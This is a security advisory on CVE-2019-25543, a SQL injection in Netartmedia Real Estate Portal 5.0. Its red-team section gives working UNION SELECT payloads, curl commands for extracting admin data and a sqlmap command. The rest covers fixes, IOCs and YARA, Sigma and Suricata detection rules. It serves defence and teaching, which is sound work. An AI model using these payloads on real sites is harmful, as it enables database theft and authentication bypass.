CVE-2019-25543

Executive Summary

CVE-2019-25543 is a critical SQL injection vulnerability in Netartmedia Real Estate Portal 5.0. The flaw resides in the page parameter of index.php, allowing unauthenticated attackers to inject arbitrary SQL commands via POST requests. This enables full database compromise, including authentication bypass, data exfiltration, and data manipulation. The vulnerability is publicly known, with proof-of-concept code available, but no official patch has been released by the vendor. The CVSS v3.1 base score is 9.8 (Critical), reflecting the ease of exploitation and severe impact on confidentiality, integrity, and availability.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Full database write access.
• Availability (A): High (H) – Potential for denial of service via destructive queries.

Threat Level: Critical. The vulnerability is trivial to exploit, has no authentication barrier, and can lead to complete database takeover.

Deep Dive & Mechanics

The vulnerability exists in the page parameter of index.php. The application fails to sanitize or parameterize user input before incorporating it into SQL queries. An attacker can submit a POST request with a malicious payload in the page field, such as:

page=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--

This payload terminates the original query and appends a UNION SELECT statement, allowing the attacker to retrieve arbitrary data from the database. The exact number of columns must be determined through trial and error (e.g., using ORDER BY clauses). Once the column count is known, the attacker can extract sensitive data such as admin credentials, user information, or configuration details.

The vulnerability is classified under CWE-89 (SQL Injection). The lack of input validation and prepared statements makes the application susceptible to this attack.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$page = $_POST['page'];
$query = "SELECT * FROM pages WHERE id = " . $page;
$result = mysqli_query($conn, $query);
?>

Patched Code (Conceptual):

<?php
$page = intval($_POST['page']); // Cast to integer
$query = "SELECT * FROM pages WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $page);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

The patched version uses parameterized queries (prepared statements) and input validation to prevent SQL injection. Since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Netartmedia Real Estate Portal 5.0.
• Network access to the web server.

Step 1: Determine Column Count

curl -X POST http://target/index.php -d "page=1' ORDER BY 100-- -"

Reduce the number until no error is returned. For example, if 100 causes an error, try 50, then 25, etc.

Step 2: Extract Data (e.g., admin credentials)

curl -X POST http://target/index.php -d "page=-1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM admin-- -"

Replace admin with the actual table name and adjust column positions to display sensitive data.

Step 3: Automated Exploitation with sqlmap

sqlmap -u "http://target/index.php" --data="page=1" --batch --dbs

Blue Team (Detection & Hardening)

Detection:

• Monitor POST requests to index.php with suspicious page parameters containing SQL keywords (e.g., UNION, SELECT, --).
• Use WAF rules to block requests with SQL injection patterns.

Hardening:

• Apply input validation: cast page to an integer.
• Use prepared statements for all database queries.
• Implement a Web Application Firewall (WAF) with SQL injection signatures.
• Restrict database user privileges to the minimum required.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /index.php with page parameter containing SQL syntax (e.g., UNION, SELECT, --).
  • Unusual HTTP response sizes or error messages containing SQL errors.
• Host IOCs:
  • Unexpected database entries or modifications.
  • New user accounts or elevated privileges in the application.
  • Log entries showing failed SQL queries or suspicious activity in web server logs.
• File IOCs:
  • Modified or new files in the web root (e.g., webshells).
  • Unusual entries in database dump files.

Detection Engineering

YARA Rule

rule CVE_2019_25543_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2019-25543 in Netartmedia Real Estate Portal"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25543"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "ORDER BY" nocase
        $sqli3 = "--" nocase
        $sqli4 = "page=" nocase
    condition:
        any of ($sqli*) and #sqli4 > 0
}

Sigma Rule

title: CVE-2019-25543 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Netartmedia Real Estate Portal via the page parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/index.php'
        cs-uri-query|contains: 'page='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'ORDER BY'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in non-malicious context (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2019-25543 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"page="; http_client_body; pcre:"/(UNION|SELECT|ORDER\s+BY|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the network if possible.
2. Apply virtual patching using a WAF to block SQL injection patterns.
3. Review database logs for signs of compromise.

Long-term Fix:

• Since no official patch exists, the application must be rewritten to use parameterized queries (prepared statements) for all database interactions.
• Implement strict input validation: the page parameter should only accept integer values.
• Consider migrating to a supported and maintained CMS or portal solution.

Compromise Assessment:

• Check for unauthorized database entries, especially in user tables.
• Look for webshells or backdoor files in the web directory.
• Audit web server logs for suspicious POST requests to index.php.

Valters IT